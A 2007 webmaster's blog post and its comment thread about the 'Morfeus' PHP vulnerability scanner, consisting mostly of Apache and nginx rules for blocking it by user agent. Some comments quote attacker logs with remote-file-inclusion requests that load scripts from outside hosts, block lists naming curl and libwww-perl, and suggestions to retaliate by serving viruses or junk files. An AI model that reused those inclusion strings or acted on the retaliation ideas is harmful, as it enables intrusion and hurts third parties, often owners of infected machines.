« Under the weatherApple Customer Service Rocks! »

Update on Morfeus Fucking Scanner

05/25/07

  11:39:56 am, by Rick   , 253 words  
Categories: Web

Update on Morfeus Fucking Scanner

In one of my earlier blogs, I commented that I was seeing a strange user agent in my stats. This user agent went by the name of 'Morfeus Fucking Scanner'. This name obviously caught my eye. I seriously doubt a legitimate user agent would be called that.

In that blog, I asked if anyone had any information on it. I got several replies, which you can see in the comments on that blog. It turns out that Morfeus is a scanner that looks for vulnerabilities in PHP based web sites (as this one is). I guess it failed to find any vulnerabilities in my blogging software because I haven't noticed any problems, or additional files are anything.

One commenter, by the name of Haans Gruber, even provided a solution to prevent it. Interesting name there Haans, either it's a coincidence or he's a big fan of the Die Hard movies... Haans Gruber was the name of the main villain in the first Die Hard movie. Anyway, the solution he provided was to add the following code to your web sites '.htaccess' file. Note that this change will only work for Apache based web servers. If you are running IIS, I'm sure there is a similar way to do it, but you are on your own. Here's the fix:

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]
# End of .htaccess change.

I've added this fix to my site's .htaccess file. Let's see if it helps.

Thanks Haans!

41 comments

Comment from: Tim  
Timnice one, thanks.
06/14/07 @ 06:01
Comment from: hi
hiSetEnvIfNoCase User-Agent "Morfeus Fucking Scanner" bad_bot Deny from env=bad_bot probably uses less resources
07/08/07 @ 07:12
Comment from: Slevdi Davoteca  
Slevdi Davoteca

IIS users can do this with the free version of the excellent IsapiRewrite application:

http://www.isapirewrite.com/
07/20/07 @ 15:46
Giuliano CaglioHi! My webserver was attacked for months using "libwww" user-agent ( i think this is some software written in perl), now the "Morfeus *********" is beeing used. Added this two lines in my httpd.conf SetEnvIf User-Agent ^libww keep_out=1 SetEnvIf User-Agent ^Morf keep_out2=1 and this line in the main "directory" tag: Deny from env=keep_out env=keep_out2 The webserver now return "403" error code to any request from libww* or Morf*, so the attacker is out of business... I used regex expression intead of complete name because i think the attacker will change slightly the user-agent name of the program, hoping it will add only some character at the end. Hope this will help someone!
08/26/07 @ 08:19
James StanleyBlocking libwww is a bad idea, since it is a completely legitimate library. If you block libwww, you keep out anybody that might be using anything that uses the common libwww library (which isn't only for Perl).
09/03/07 @ 12:35
Comment from: Jussi Peltola  
Jussi PeltolaIf your security is based on blocking user agents... well, I wish you the best of luck and hope you're not administering anything important.
11/03/07 @ 12:48
Comment from: Dave M  
Dave MI've come across this type of activity in my access logs for years as well, but rather than block access by user agent, I've written a script that analyzes the 404 status access attempts, does an internal whois on any attempt that seems like suspicious activity, and sends out an attack notification to the abuse address for that IP number. So far, I've gotten very positive feedback from the ISP's I've heard from. And, of course, no hacker has gotten in yet. :) I could just as easily sent the offender some nasty virus, and "Do unto others", so to speak, but I'd rather take the high road. [wink!]
01/19/08 @ 11:38
Comment from: telli
telliRewriteCond %{HTTP_USER_AGENT} (^libwww-perl) [NC] RewriteRule .* http://%{REMOTE_ADDR} [r=301,l] RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC] RewriteRule .* http://%{REMOTE_ADDR} [r=301,l] Block them and then send there request back at them. :)
02/02/08 @ 15:55
Comment from: Hugh Jorgan
Hugh JorganUse OSSEC HIDS will block such attacks.
02/24/08 @ 18:20
Comment from: Nucca
NuccaBasically i just ban the Ips that used the program. I dont care who it is, i can track them through the proxy's mask. and i contact the person's ISP about a script hacking attempt. if these users dont like it, tough luck, its their IP not mine.
03/02/08 @ 09:15
Comment from: hikari
hikariI'd like to re-emphasize that blocking libwww-perl (LWP) is a VERY BAD IDEA, speaking as someone who's written a couple of legitimate scripts using it; aside from that, it's absolutely trivial in LWP to change the user-agent string, so it really provides little more than a false sense of security. Blocking the actual attack vectors (it's enough for them to return 404 or 403, really) is much better, and of course patching the software they're trying to attack it it's present.
03/03/08 @ 23:56
The TravellerI had the same o the site stats. Thanks a lot by the solucion posted by you. Regards!
06/07/08 @ 17:15
Comment from: gaarry
gaarryfu++ing scanner! fu++ing scanner! ^)
07/02/08 @ 08:51
Claudio AcevedoHi, I recomend everybody try modsecurity with the OSSEC scanner. The best and more simple way I think is use the ASL rules of modsecurity (for apache): http://www.atomicrocketturtle.com/ regards
08/10/08 @ 12:25
Comment from: Dave
DaveMorfeus F'king Scanner resolves to IP: 63.95.247.234 Spidergate Media Group 12910 SW 89th Ct Ste 201 Miami, FL , 33176-5803 Phone: 305-506-1123 FAX: 305-253-0013 Website: www.spidergate.com Which of course is "under construction." It appears to be a typical government funded data collection/hacking system but might be private or pirate enterprise. They are probably loosely associated with some alphabet branch. I get a lot of hits from unusual sources since I am apparently considered a national security risk for knowing a little to much truth because of my past... So, if it don't look right, block its ass! Cheers - Dave
08/15/08 @ 14:25
Denver SEOGreat info! Needed this to stop this lunatic bot.
09/01/08 @ 18:38
Comment from: JAFO
JAFOh--p://ifile.it/qpd4rfu/toolbox.zip That's a combination reply for those of us on shared servers that don't have the luxury of some of the other methods of securing our webspace. It contains an .htaccess file that will block nearly ALL of the various attacks, as well as rippers, scrapers and other obnoxious bots. There's a special treat for Morfeus, although it's commented out in the .htaccess file and I've put it in the restricted bot list. If you remove Morfeus from the bot list and uncomment the lines and then save that cute little TRAP.PHP file to your server, then ANY access from the kiddies that use Morfeus will immediately add them to the bottom of your DENY FROM list in .htaccess I've beat the heck out of the .htaccess and it's blocked EVERY one of the attacks that these kids are using at the moment. I've even downloaded some of their script tools and tried attacking my server with every exploit I thought was relevant or current, and they all failed. :D Be aware that you MAY need more than just the GET, HEAD and POST access methods. As always, try it first and then run through EVERYTHING on your server, and keep a close eye on your error logs and access logs for the next few weeks. It's a good idea to comment out the first line like this: RewriteRule ^(.*)$ 404.shtml and uncomment the RewriteRule .* - [F,L] or you won't see any mistakes in your logs. It's a trick I found that returns absolutely minimal info to the baby hackers and scrapers, so set it back to the 404.shtml when you are done. Of course, you have to MAKE a small 404.shtml file, but you can make an tiny file for that purpose. Special note to the wiseass that said it was pointless to block by user-agent: well, it's certainly stopped a lot of the dumb kids attacking MY forums, so don't knock success! -FU
09/03/08 @ 21:35
Comment from: atleta
atletaBlocking clients based on the user agent string is a very bad idea for a number of reasons. First of all even if you manage to just block the right ones (with the most telling names, like Morfeus) then you'll feel that you're secure. But the user agent string can be set to anything even in normal browsers, not to talk about the case when someone writes their scanner for themselves. Actually I'm a bit surprised that some of these bots give away themselves, but it's good for you because you can recognize what they were doing or searching for. Another reason is of course that it will give you a false sense of security, but as I said a scanner doesn't have to say that its a scanner. It can say 'Mozilla (5.0 Compatible;....' etc. The third one is of course blocking legitimate clients incidentally (like the libwww based ones). But it's not that bad, because I think most of these ones are robots anyway. I came here because I was also scanned by Morfeus and I was curoius what kind of bot it could be and this page was the first result by google. :)
09/04/08 @ 05:56
Comment from: JAFO
JAFOBlocking by user-agent had stopped a LOT of the stupid children before I got the rest of my .htaccess working. Here's an example of another child in Indonesia that got caught both ways (by user-agent AND by the remote inclusion block): 63.208.74.34 - - [07/Sep/2008:14:41:57 -0400] "GET /forum/index.php?show...c=16317&st=0& HTTP/1.1" 403 - "-" "libwww-perl/5.79" 63.208.74.34 - - [07/Sep/2008:14:41:57 -0400] "GET /signer/final.php?smiley=http://www.wspilots.com/modules/mx_pafiledb/pafiledb/images/id.txt???? HTTP/1.1" 403 - "-" "libwww-perl/5.79" 63.208.74.34 - - [07/Sep/2008:14:41:57 -0400] "GET /forum/signer/final.php?smiley=http://www.wspilots.com/modules/mx_pafiledb/pafiledb/images/id.txt???? HTTP/1.1" 403 - "-" "libwww-perl/5.79" He's proxying through a zombie in Beverly Hills, but all of his scripts are in some Indonesian language, so it's a safe bet where he's located. Same goes for the Chinese botnet: it's using a large list of zombied home computers all over the world, but all of the inclusions are from servers located in China. I don't really care if you think libwww-perl is skittles and beer, it has NO valid reason to be used on any of the four forums I help out on. You're allowed to browse, you're not allowed to 'play with your tools'. The search engines that advertise with it I've previously banned because they were abusive, and the wannabe-hackers mostly aren't smart enough to change the user-agent. Feel free to write whatever apps you want with libwww to play on the web, but if I catch you using them on MY forum, I'll DENY you. If you're using it from a server somewhere, I'll deny the entire address range of their farm. We want people looking and posting, not net geeks playing with themselves, and if you look like a skiddie, I'll treat you like one (insert: boot) Today's brainchild above is one sterling example, and we only had 3 attacks today (him, a botnet from China and the 'artatgig' idiot that hasn't yet figured out that I've complained about all of his remote inclusion files and they're all GONE. :D ) All three attacks were handled quite nicely by the QUERY_STRING and THE_REQUEST rules. Blocking solely by user-agent WOULD be less effective, but it would still stop kids like the example above. The rest of the stuff I have in my .htaccess (see the IFILE.IT in my earlier post) does a MUCH better job to shut 'em down since it doesn't rely solely on user-agent. I'm a "suspenders and belt" kind of person with our forum security, and if they're stupid enough to leave libwww-perl in the string then I'm willing to DENY them and laugh at them. ROFL Again, MANY of us have no access to the better methods of protecting a server 'cos we're on a shared host that doesn't give us access to those root firewall toys, so .htaccess and regular updates or patches to our software are the only avenues we have to stop these kids. The ONLY application I've ever seen that I want to allow access is one ancient old text browser that identifies as libwww-{something}, but not as libwww-perl, so I'm at least polite and I'm blocking the whole string 'libwww-perl' and not the substring 'libwww' as I've seen others do. BTW, Morfeus is an ancient scanner from around 2006 that was looking for a variety of PHP security flaws. I'd guess that the skiddie using it nowadays has either updated the list or isn't bright enough to know that all of our servers have long since been patched. The modification that hit us was looking in a bunch of SOAP directories. Sorry, no SOAP here!
09/07/08 @ 19:55
F. Andy SeidlI my opinion, webmasters definitely should use user-agent headers to manager server traffic. But understand that this is purely a pragmatic tactic and not a serious security measure. I wrote more about this idea here: Webmaster Tips: Blocking Selected User-Agents http://faseidl.com/public/item/213126
09/20/08 @ 22:26
Comment from: Johann
Johann"I'd like to re-emphasize that blocking libwww-perl (LWP) is a VERY GOOD IDEA" Blocking libwww, lwp-trivial, curl, PHP/, urllib, GT::WWW, Snoopy, MFC_Tear_Sample, HTTP::Lite, PHPCrawl, URI::Fetch, Zend_Http_Client, http client, PECL::HTTP, Java and others is a good idea because the bottom feeders definitely do not bother changing user agents. Some vulnerability scanners have always used libwww-perl and I don't think that's going to change anytime soon. I agree that blocking generic HTTP libraries does not add much security.
09/21/08 @ 15:38
Dave MeckanicThis may be a new one for the books; 66.38.180.84 - [23/Sep/2008:19:49:19 -0400] "GET /user/soapCaller.bs HTTP/1.1" 404 325 "" "Morfeus Fucking Scanner" The IP this time resolves to; Bell Canada GT-NTL-BLK2 (NET-66-38-128-0-1) 66.38.128.0 - 66.38.255.255 Zoom Media Inc. GT-66-38-180-80-ZOOM (NET-66-38-180-80-1) 66.38.180.80 - 66.38.180.87 IP address location & IP address info: IP address [?]: 66.38.180.84 IP address country: Canada IP address state: Quebec IP address city: Montreal IP address latitude: 45.500000 IP address longitude: -73.583298 ISP of this IP [?]: Bell Canada Organization: Zoom Media Host of this IP: [?]: static-66-38-180-84.gtcust.grouptelecom.net Registrant: Bell Canada Bell Canada 1000, Rue de la Gauchetiere Ouest 41st Floor Montreal, Quebec H3B 5H8 CA trademarks@bell.ca +1.5147869356 Fax: +1.5148704833 Domain Name: grouptelecom.net Registrar Name: Markmonitor.com Registrar Whois: whois.markmonitor.com Registrar Homepage: http://www.markmonitor.com Administrative Contact: Bell Canada Bell Canada 1000, Rue de la Gauchetiere Ouest 41st Floor Montreal, Quebec H3B 5H8 CA trademarks@bell.ca +1.5147869356 Fax: +1.5148704833 Technical Contact, Zone Contact: Bell Canada Bell Canada 1000, Rue de la Gauchetiere Ouest 41st Floor Montreal, Quebec H3B 5H8 CA trademarks@bell.ca +1.5147869356 Fax: +1.5148704833 Created on..............: 1997-03-19. Expires on..............: 2009-03-19. Record last updated on..: 2008-08-12. Domain servers in listed order: ns2.toroon.grouptelecom.net ns1.clgrab.grouptelecom.net There seem to be a few tools out there using the same tool ;-) Cheers - Dave
09/23/08 @ 20:18
invisible_theaternice info bro :) i've got this logs #================================== 67.111.5.31 - - [19/Sep/2008:19:58:54 +0700] "GET /user/soapCaller.bs HTTP/1.1" 404 216 67.111.5.31 - - [19/Sep/2008:19:58:54 +0700] "GET /user/soapCaller.bs HTTP/1.1" 404 216 "-" "Morfeus Fucking Scanner" #================================== IP Location: United States United States New York Xo Communications Resolve Host: lpnpbx.cya.net IP Address: 67.111.5.31 rgName: XO Communications OrgID: XOXO Address: 13865 Sunrise Valley Drive City: Herdon StateProv: VA PostalCode: 20171 Country: US ReferralServer: rwhois://rwhois.eng.xo.com:4321/ NetRange: 67.104.0.0 - 67.111.255.255 CIDR: 67.104.0.0/13 NetName: XOXO-BLK-17 NetHandle: NET-67-104-0-0-1 Parent: NET-67-0-0-0-0 NetType: Direct Allocation NameServer: NAMESERVER1.CONCENTRIC.NET NameServer: NAMESERVER2.CONCENTRIC.NET NameServer: NAMESERVER3.CONCENTRIC.NET NameServer: NAMESERVER.CONCENTRIC.NET Comment: ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE Comment: Please report spam and viruses to abuse@xo.net. Comment: For better service, direct customers of XO may use Comment: the web form at http://www.xo.com/contact/care/ Comment: for reverse DNS requests and other customer-specific Comment: technical issues. Thank you for your cooperation. Comment: RegDate: 2001-08-10 Updated: 2007-08-29 OrgAbuseHandle: XCNV-ARIN OrgAbuseName: XO Communications, Network Violations OrgAbusePhone: +1-866-285-6208 OrgAbuseEmail: OrgTechHandle: XCIA-ARIN OrgTechName: XO Communications, IP Administrator OrgTechPhone: +1-703-547-2000 OrgTechEmail: == Additional Information From rwhois://rwhois.eng.xo.com:4321/ == network:Class-Name:network network:ID:NET-XO-NET-436f0000 network:Auth-Area:67.104.0.0/13 network:Network-Name:XO-NET-436f0000 network:Organization;I:CONECTATEYA (223671-1) network:IP-Network:67.111.0.0/21 network:Admin-Contact;I:XCIA-ARIN network:Tech-Contact;I:XCIA-ARIN network:Created:20040601 network:Updated:20040611 network:Updated-By:
09/24/08 @ 01:18
Comment from: Roland
RolandI've gotten 4 one-off accesses of this type in the last week on my mini-site. From Akron, OH, Reston, VA, Bucharest, and Santiago, Chile. I don't think they are deliberate scans. I suspect they are from infected PCs whose owners are clueless about it.
09/26/08 @ 15:41
Dave MeckanicIt is very possible that these things are coming down the pipe from "zombies." If you really want to tie them up badly and don't mind wasting the bandwidth, you can take a garbage file that's say 10 to 50 megabytes, rename it and throw it into a target directory. Then when the scan comes by it should tie up the scanner for some time. If it is zombie, that might alert the user to the problem as their machine should slow right down and it might even cause an overflow and crash them. Just an idea... fight fire with fire!
10/08/08 @ 12:16
Comment from: Rick  
RickDave, I don't think it's a good idea to put 50 mb dummy files on your website to slow them down. Most webhosting providers have bandwidth limitations that would rapidly get eaten up by downloading this dummy file. Plus, I don't think the webhost would appreciate you wasting their bandwidth like that.
10/08/08 @ 13:06
Randolf RichardsonI see this stuff in my web server logs all the time, but instead of blocking by user agent I simply make sure my systems are secure from the get-go. For those of you who are blocking based on user-agent, you're practicing what is called "security by obscurity" and you've completely misunderstood some very basic security concepts; you have no business dealing with security matters of any sort with such a reckless attitude -- if your system hasn't already been hacked, then it's simply a matter of "when" not "if" you will be hacked with the approach you're using. Oh, and while you're at it, if you really want to keep your systems safe from bots and SpyWare infested systems, why not just block everything that runs Windows, or better yet, just pull the AC plug (which takes a lot less effort than typing configuration parameters)? That way nobody will be able to do anything to your system remotely.
10/19/08 @ 13:53
Comment from: Some Wannabe Webmaster
Some Wannabe WebmasterI just told the router to block China and most everything went away.
10/23/08 @ 19:13
youfoundjakeI've seen this poking around, any idea on why the referrer is "/components/com_smf/smf.php?mosConfig_absolute_path=http://amgaco.com/try.txt%3f&/" from my domain?
11/22/08 @ 16:30
Comment from: haans gruber
haans gruberChina seems to be the main culprit. There are several flavors of *nix which provide this as a cover IP of origination. Blocking them should quell most of the attacks. peace, haans :) ps. I am always glad to help out if I can
11/27/08 @ 10:45
Sterling CooperI just saw "Morfeus Fucking Scanner" in my log files today, thanks for the article.
02/20/09 @ 11:37
Comment from: Beth  
BethCan anyone share the OSSEC rule they've used to block any user-agent? curl is being used constantly to create new blog accounts (1700 time yesterday) and I want it to stop. If I had a rule that blocked when there's a match for user agent = ^curl and file = wp-signup.php, I'd be able to eliminate 99.9% of the spam blog signups. thanks, Beth
02/26/09 @ 11:12
godlingWell I decided to make a file in my htdocs called soapcaller.bs . I wrote a nice message to the asswipe attempting to scan my location. I have been blocking these through .htaccess but I find it to be a pain and just figure if I send them some viruses to play with that would slow it down at least.
03/13/09 @ 12:44
Comment from: shineshadow
shineshadowBeth You could block the user-agent 'curl'. However you could also just install a captcha of some sort on user and content creation pages. Just google captcha script for various levels from simple math problems to the more typical 'Copy these numbers' kind.
04/03/09 @ 21:44
Comment from: Zenni
ZenniDoes it represent threats for HTML only or ASP.NET websites?
04/17/09 @ 08:10
The Law Offices of Philip C. BanksWe are receiving the same soapCaller.bs scans, four of them just last night. I am just learning that these are related to this MFS. We have not noticed any particular problems aside from the fact that this keeps popping up on our error list.
08/04/09 @ 10:20
Comment from: MiDoX
MiDoXBlocking UA and IP'S is nonsense Both can be faked Just be sure that the files scanned for don't exists on your server(or in case you want to play with the kids you could create the files with nice js scripts like The Love You virus etc.) but why wasting your time with this ?? just secure your servers and watch your logs on 200 status codes The 200 Status tells me that somebody received the file he asked for!!
11/23/09 @ 11:21
Comment from: Sam  
SamI have nothing on my webserver, just a index.html page saying nothing is here. I have thousands of lines every day from this Morfeus. 94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /cube/README HTTP/1.1" 404 288 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /round/README HTTP/1.1" 404 289 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /roundcube-0.2/README HTTP/1.1" 404 297 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /roundcube-0.1/README HTTP/1.1" 404 297 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /roundcubemail-0.1/README HTTP/1.1" 404 301 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /roundcubemail-0.2/README HTTP/1.1" 404 301 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /wm/README HTTP/1.1" 404 286 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /webmail2/README HTTP/1.1" 404 292 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /rms/README HTTP/1.1" 404 287 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /mail2/README HTTP/1.1" 404 289 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /mss2/README HTTP/1.1" 404 288 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /mss/README HTTP/1.1" 404 287 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /roundcubemail/README HTTP/1.1" 404 297 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /rc/README HTTP/1.1" 404 286 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /webmail/README HTTP/1.1" 404 291 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:08 +0000] "GET /roundcube/README HTTP/1.1" 404 293 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:08 +0000] "GET /mail/README HTTP/1.1" 404 288 "-" "Morfeus strikes again." 94.102.209.172 - - [08/Dec/2009:13:01:08 +0000] "GET /README HTTP/1.1" 404 283 "-" "Morfeus strikes again."
12/20/09 @ 11:38
Comment from: kyle
kylei set up an apache server on ubuntu recently, and i noticed this morfeus stuff on there, "Morefeus strikes again" and a bunch of requests. I don't really understand the http get and post stuff yet, so i was wondering if he had done anything bad. I got a bunch of 404s, but then it says internal dummy connection with what I think is the "option" command. maybe i did this, but i really dont know. mind taking a look? 95.211.24.2 - - [13/May/2010:01:25:08 -0400] "GET /mail/README HTTP/1.1" 404 470 "-" "Morfeus strikes again." 95.211.24.2 - - [13/May/2010:01:25:08 -0400] "GET /README HTTP/1.1" 404 467 "-" "Morfeus strikes again." ::1 - - [13/May/2010:01:25:09 -0400] "OPTIONS * HTTP/1.0" 200 152 "-" "Apache/2.2.12 (Ubuntu) (internal dummy connection)" ::1 - - [13/May/2010:01:25:10 -0400] "OPTIONS * HTTP/1.0" 200 152 "-" "Apache/2.2.12 (Ubuntu) (internal dummy connection)" ::1 - - [13/May/2010:01:25:11 -0400] "OPTIONS * HTTP/1.0" 200 152 "-" "Apache/2.2.12 (Ubuntu) (internal dummy connection)" Did he get in? or was that just something i did? message me if you want, i appreciate the help
05/14/10 @ 06:28
Comment from: Richard
RichardI just added "soapCaller" to my "custom keyword based blocker" which block not only their ip, but their whole subnet. This is something I cobbled together (1) Uses modsec to grep any of a list of keywords. (2) Sends the ip to a "whois" custom java program (3) This "whois" queries servers such as arin,ripe and gets the netblock range. (4) Makes an OS call to block the range (via iptables,netsh,ipseccmd,ipsecmod,etc)
05/14/10 @ 10:04
Another VisitorIf you guys are using nginx (EngineX) instead of Apache (slowpache) you can add this directive to your main server config and / or vhost include files. if ($http_user_agent ~* (Baiduspider|Jullo|Morfeus) ) { return 444;server { listen 80 default; server_name _; if ($http_user_agent ~* (Baiduspider|Jullo|Morfeus) ) { return 444; } access_log /usr/local/www/data/_default/access_default.log; server_name_in_redirect off; location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/local/www/data/_default$fastcgi_script_name; include fastcgi_params; } location / { index index.php index.html; root /usr/local/www/data/_default; error_page 404 error/404.html; } } As in the following "default" example (for anything that doesn't match any of my served domains):
08/05/10 @ 15:49
September 2014
Mon Tue Wed Thu Fri Sat Sun
 << <   > >>
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30          
Copyright © 2005 - 2014, Rick Ekle

Comments? Contact me at rick@ekle.us or visit me on Twitter at @rekle

Search

  XML Feeds

blog software